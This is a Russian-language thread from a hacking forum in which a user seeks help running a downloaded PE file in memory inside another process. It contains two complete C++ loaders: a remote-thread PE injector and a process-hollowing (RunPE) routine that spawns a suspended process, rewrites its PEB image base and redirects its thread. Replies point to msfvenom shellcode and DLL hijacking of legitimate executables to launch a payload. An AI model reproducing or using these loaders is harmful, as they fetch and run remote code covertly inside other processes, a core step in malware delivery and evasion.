• XSS.stack #1 – первый литературный журнал от юзеров форума

Нужна помощь в запуске PE файла в памяти в другом процессе

Lilk

(L3) cache
Пользователь
Регистрация
11.01.2022
Сообщения
167
Реакции
31
Гарант сделки
1
Всем привет, помогите с решением проблемы.
Я в C++ не эксперт и в процессе написания всего этого добра изучаю потихоньку.
Сам алгоритм я в целом понимаю и предполагаю что проблема именно в том, чтобы высчитать дельту и подгрузить необходимые dll. Сам софт который я хочу подкгрузить - putty.exe.
Вот код который сейчас есть:
C++:
#include <stdio.h>
#include <Windows.h>
#include <wininet.h>
#include <psapi.h>
#include <iostream>
#include <fstream>
#include <vector>

#pragma comment(lib, "wininet.lib")

typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

DWORD ExecuteInMemory(PVOID imageBase) {
    int(*EntryPoint)() = (int(*)())((DWORD_PTR)imageBase + ((PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + ((PIMAGE_DOS_HEADER)imageBase)->e_lfanew))->OptionalHeader.AddressOfEntryPoint);
    return EntryPoint();
}

DWORD InjectionEntryPoint()
{
    CHAR moduleName[128] = "";
    GetModuleFileNameA(NULL, moduleName, sizeof(moduleName));
    MessageBoxA(NULL, moduleName, "Obligatory PE Injection", NULL);
    return 0;
}

bool DownloadFileFromURL(const wchar_t* url, std::vector<char>& buffer) {
    HINTERNET hInternet = InternetOpen(L"Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!hInternet) {
        std::cerr << "Failed to open internet." << std::endl;
        return false;
    }

    HINTERNET hFile = InternetOpenUrl(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (!hFile) {
        std::cerr << "Failed to open URL." << std::endl;
        InternetCloseHandle(hInternet);
        return false;
    }

    char tempBuffer[4096];
    DWORD bytesRead;
    while (InternetReadFile(hFile, tempBuffer, sizeof(tempBuffer), &bytesRead) && bytesRead > 0) {
        buffer.insert(buffer.end(), tempBuffer, tempBuffer + bytesRead);
    }

    InternetCloseHandle(hFile);
    InternetCloseHandle(hInternet);
    return true;
}

int main()
{
    const wchar_t* url = L"https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe";
    std::vector<char> buffer;
    DownloadFileFromURL(url, buffer);

    if (buffer.empty()) {
        std::cerr << "Buffer is empty!" << std::endl;
        return 1;
    }
    PVOID imageBase = buffer.data();

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        std::cerr << "Not a valid PE file!" << std::endl;
        return 1;
    }

    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);
    if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
        std::cerr << "Not a valid NT header!" << std::endl;
        return 1;
    }
    std::cout << "Entry point address: " << std::hex << (DWORD_PTR)imageBase + ntHeader->OptionalHeader.AddressOfEntryPoint << std::endl;

    PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
    if (localImage == NULL) {
        std::cerr << "VirtualAlloc failed: " << GetLastError() << std::endl;
        return 1;
    }

    memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);

    // Open the target process - this is process we will be injecting this PE into
    HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, 13408);
    if (targetProcess == NULL) {
        std::cerr << "OpenProcess failed: " << GetLastError() << std::endl;
        VirtualFree(localImage, 0, MEM_RELEASE);
        return 1;
    }

    // Allocate a new memory block in the target process. This is where we will be injecting this PE
    PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (targetImage == NULL) {
        std::cerr << "VirtualAllocEx failed: " << GetLastError() << std::endl;
        CloseHandle(targetProcess);
        VirtualFree(localImage, 0, MEM_RELEASE);
        return 1;
    }

    DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;

    PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    DWORD relocationEntriesCount = 0;
    PDWORD_PTR patchedAddress;
    PBASE_RELOCATION_ENTRY relocationRVA = NULL;

    while (relocationTable->SizeOfBlock > 0)
    {
        relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
        relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);

        for (short i = 0; i < relocationEntriesCount; i++)
        {
            if (relocationRVA[i].Offset)
            {
                patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
                *patchedAddress += deltaImageBase;
            }
        }
        relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
    }

    if (!WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL)) {
        std::cerr << "WriteProcessMemory failed: " << GetLastError() << std::endl;
        VirtualFreeEx(targetProcess, targetImage, 0, MEM_RELEASE);
        CloseHandle(targetProcess);
        VirtualFree(localImage, 0, MEM_RELEASE);
        return 1;
    }

    HANDLE remoteThread = CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)targetImage + ntHeader->OptionalHeader.AddressOfEntryPoint), NULL, 0, NULL);
    if (remoteThread == NULL) {
        std::cerr << "CreateRemoteThread failed: " << GetLastError() << std::endl;
        VirtualFreeEx(targetProcess, targetImage, 0, MEM_RELEASE);
        CloseHandle(targetProcess);
        VirtualFree(localImage, 0, MEM_RELEASE);
        return 1;
    }

    WaitForSingleObject(remoteThread, INFINITE);
    CloseHandle(remoteThread);
    CloseHandle(targetProcess);
    VirtualFree(localImage, 0, MEM_RELEASE);

    std::cout << "PE file successfully injected." << std::endl;

    return 0;
}

Исключение сейчас получаю в этом месте:
C++:
*patchedAddress += deltaImageBase;
Само исключение выглядит следующим образом
Exception thrown: read access violation.
patchedAddress was 0x2A589655A51.

Процесс в который я пытаюсь внедрить - notepad.exe. PID указываю в этом месте (в дальнейщем планирую автоматически получать) -
C++:
HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, 3676);
Дайте наводку куда смотреть и копать)
 
Вы инжектите целый PE-файл в уже запущенный процесс а потом пытаетесь запускать его через удаленный поток, а ничего что у работающего процесса свой PEB, стек и т.д. и т.п. и что он "работает" (хотябы для красоты сделали NtSuspendProcess, хотя и это не поможет). На счет адресов: виндовые приложения все имеют базу отличную от тех что вы скомпилите, если не указали ее в линкере. В случае x64 это 0х0000000140000000, в случае х32 это 0х01000000, кроме того виндовые exe как правило используют .NET. Ваш код чисто концептуально неверен.
 
Например сюда, а затем дальше по теме инжекта.
Спасибо, почитал и я подобное уже делал
Получалось отправлять месседжБокс в другой процесс
 
Получалось отправлять месседжБокс в другой процесс
А вам принципиально именно putty запускать? Может проще заюзать msfvenom для генерации шеллкода: /threads/114868/
 
Вы инжектите целый PE-файл в уже запущенный процесс а потом пытаетесь запускать его через удаленный поток, а ничего что у работающего процесса свой PEB, стек и т.д. и т.п. и что он "работает" (хотябы для красоты сделали NtSuspendProcess, хотя и это не поможет). На счет адресов: виндовые приложения все имеют базу отличную от тех что вы скомпилите, если не указали ее в линкере. В случае x64 это 0х0000000140000000, в случае х32 это 0х01000000, кроме того виндовые exe как правило используют .NET. Ваш код чисто концептуально неверен.
Правильно ли я понял...
Запихнуть PE-файл в уже запущенный процесс, а потом запускать его через удаленный поток - невозможно?
 
А вам принципиально именно putty запускать? Может проще заюзать msfvenom для генерации шеллкода: /threads/114868/
Нет, putty я взял просто для примера и теста. С msfvenom уже был опыт когда то давно. Вообще всё это я пишу в большей степени для обучения, разные варинты пробую и тд
 
Мне кажется куда проще написать шеллкод, который и подгрузит твой PE, и этот шеллкод уже можно будет инжектить куда угодно

Вот тут недавно тема была, то что выше скинули (статью на хакере) там и слова про PE нет

https://xss.pro/threads/115367/
Спасибо, нашёл интересный вариант запуска в этом топике. В нём запуск происходит открытием ещё одного экземпляра того же процесса со статусом SUSPENDED и внего уже инджектит PE-файл. Если я правильно понял)


C++:
#include <Windows.h>
#include <winternl.h>
#include <wininet.h>
#include <stdio.h>
#include <psapi.h>
#include <iostream>
#include <fstream>
#include <vector>

#pragma comment(lib, "wininet.lib")

typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(
    HANDLE           ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID            ProcessInformation,
    ULONG            ProcessInformationLength,
    PULONG           ReturnLength
    );

DWORD GetRemotePebAddr(HANDLE processHandle)
{
    _NtQueryInformationProcess fpNtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");

    PROCESS_BASIC_INFORMATION processInformation;
    memset(&processInformation, 0x00, sizeof(PROCESS_BASIC_INFORMATION));

    DWORD returnLength = 0;
    if (NT_SUCCESS(fpNtQueryInformationProcess(processHandle, ProcessBasicInformation, &processInformation, sizeof(PROCESS_BASIC_INFORMATION), &returnLength)))
    {
        return reinterpret_cast<DWORD>(processInformation.PebBaseAddress);
    }

    return 0;

}

bool DownloadFileFromURL(const wchar_t* url, std::vector<char>& buffer) {
    HINTERNET hInternet = InternetOpen(L"Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!hInternet) {
        std::cerr << "Failed to open internet." << std::endl;
        return false;
    }

    HINTERNET hFile = InternetOpenUrl(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (!hFile) {
        std::cerr << "Failed to open URL." << std::endl;
        InternetCloseHandle(hInternet);
        return false;
    }

    char tempBuffer[4096];
    DWORD bytesRead;
    while (InternetReadFile(hFile, tempBuffer, sizeof(tempBuffer), &bytesRead) && bytesRead > 0) {
        buffer.insert(buffer.end(), tempBuffer, tempBuffer + bytesRead);
    }

    InternetCloseHandle(hFile);
    InternetCloseHandle(hInternet);
    return true;
}

VOID WINAPI RunPE(LPBYTE buffer)
{
    //Получаем DOS заголовок
    PIMAGE_DOS_HEADER dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(buffer);

    //Проверяем сигнатуру
    if (dosHeader->e_magic == IMAGE_DOS_SIGNATURE)
    {
        //Получаем NT заголовки
        PIMAGE_NT_HEADERS ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<DWORD>(buffer) + dosHeader->e_lfanew);

        //Проверяем сигнатуру
        if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
        {
            //Получаем путь к текущему EXE
            WCHAR currentPath[MAX_PATH + 1];
            GetModuleFileNameW(NULL, currentPath, MAX_PATH);

            //Запускаем процесс
            PROCESS_INFORMATION processInfo;
            memset(&processInfo, 0x00, sizeof(processInfo));

            STARTUPINFOW startupInfo;
            memset(&startupInfo, 0x00, sizeof(startupInfo));

            if (CreateProcessW(currentPath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo))
            {
                //Получаем контекст потока
                LPCONTEXT context = reinterpret_cast<LPCONTEXT>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(CONTEXT)));
                context->ContextFlags = CONTEXT_FULL;

                if (GetThreadContext(processInfo.hThread, context))
                {
                    //Получаем PEB донорского процесса
                    DWORD remotePebAddr = GetRemotePebAddr(processInfo.hProcess);

                    //Пытаемся выделить память по оригинальному ImageBase, чтоб не приходилось фиксить релоки
                    LPVOID remotePayload = VirtualAllocEx(processInfo.hProcess, reinterpret_cast<LPVOID>(ntHeaders->OptionalHeader.ImageBase), ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

                    //Если не удалось, то берем любой адрес
                    if (!remotePayload)
                        LPVOID remotePayload = VirtualAllocEx(processInfo.hProcess, NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

                    //Записываем заголовки
                    WriteProcessMemory(processInfo.hProcess, remotePayload, buffer, ntHeaders->OptionalHeader.SizeOfHeaders, NULL);

                    //Записываем секции
                    PIMAGE_SECTION_HEADER sectionHeader = reinterpret_cast<PIMAGE_SECTION_HEADER>(buffer + dosHeader->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + ntHeaders->FileHeader.SizeOfOptionalHeader);

                    //Указатель на релоки
                    PIMAGE_BASE_RELOCATION reloc = NULL;
                    DWORD relocsVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;

                    for (INT i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
                    {
                        WriteProcessMemory(processInfo.hProcess, reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(remotePayload) + sectionHeader[i].VirtualAddress), reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(buffer) + sectionHeader[i].PointerToRawData), sectionHeader[i].SizeOfRawData, NULL);

                        if (relocsVA >= sectionHeader[i].VirtualAddress && relocsVA <= sectionHeader[i].VirtualAddress + sectionHeader[i].SizeOfRawData) //FIXME: Выровнять SizeOfRawData по SectionAligment
                            reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(buffer + sectionHeader[i].PointerToRawData + (relocsVA - sectionHeader[i].VirtualAddress));
                    }

                    //Если изображение было загружено не по своему ImageBase, то делаем релокацию
                    if (reloc && reinterpret_cast<DWORD>(remotePayload) != ntHeaders->OptionalHeader.ImageBase)
                    {
                        while (reloc->SizeOfBlock)
                        {
                            LPWORD fixups = reinterpret_cast<LPWORD>(reinterpret_cast<DWORD>(reloc) + sizeof(IMAGE_BASE_RELOCATION));
                            DWORD fixupsCount = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
                            DWORD delta = reinterpret_cast<DWORD>(remotePayload) - ntHeaders->OptionalHeader.ImageBase;

                            for (DWORD i = 0; i < fixupsCount; i++)
                            {
                                //В x86 существует только тип релоков
                                if ((fixups[i] & 0xF000) == IMAGE_REL_BASED_HIGHLOW) { //или fixups[i] >> 12, сташие 8 бит это тип релока, а остальные 12 - адрес, куда пишется фикс

                                    LPVOID fixupAddr = reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(remotePayload) + reloc->VirtualAddress + (fixups[i] & 0x0FFF));

                                    DWORD value;
                                    if (ReadProcessMemory(processInfo.hProcess, fixupAddr, &value, sizeof(value), NULL))
                                    {
                                        value += delta;
                                        WriteProcessMemory(processInfo.hProcess, fixupAddr, &value, sizeof(value), NULL);
                                    }
                                }
                            }

                            reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<DWORD>(reloc) + reloc->SizeOfBlock);
                        }
                    }

                    //Меняем ImageBase в PEB-е донорского процесса
                    WriteProcessMemory(processInfo.hProcess, reinterpret_cast<LPVOID>(remotePebAddr + 8), &remotePayload, sizeof(remotePayload), NULL);

                    context->Eax = reinterpret_cast<DWORD>(remotePayload) + ntHeaders->OptionalHeader.AddressOfEntryPoint;
                    SetThreadContext(processInfo.hThread, context);
                    ResumeThread(processInfo.hThread);

                }

                CloseHandle(processInfo.hThread);
                CloseHandle(processInfo.hProcess);
            }
        }
    }
}

int main()
{
    const wchar_t* url = L"https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe";
    std::vector<char> buffer;
    DownloadFileFromURL(url, buffer);
    LPBYTE lpByte = reinterpret_cast<LPBYTE>(buffer.data());
    RunPE(lpByte);
}
 
разные варинты пробую
Ну, если конкретная цель не определена, то например для запуска вашей нагрузки при открытии какого-либо exe, разумно в сторону DLL-injection посмотреть, предварительно выяснив уязвим ли легальный exe, который будет запускаться к этой атаке.
 
Джеффри Рихтер, Кристоф Назар Windows via C/C++, гл. 22 Внедрение DLL и перехват API-вызовов.
Статья в Хакере.
Статья на hacktricks про DLL Hijacking.
Спасибо!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх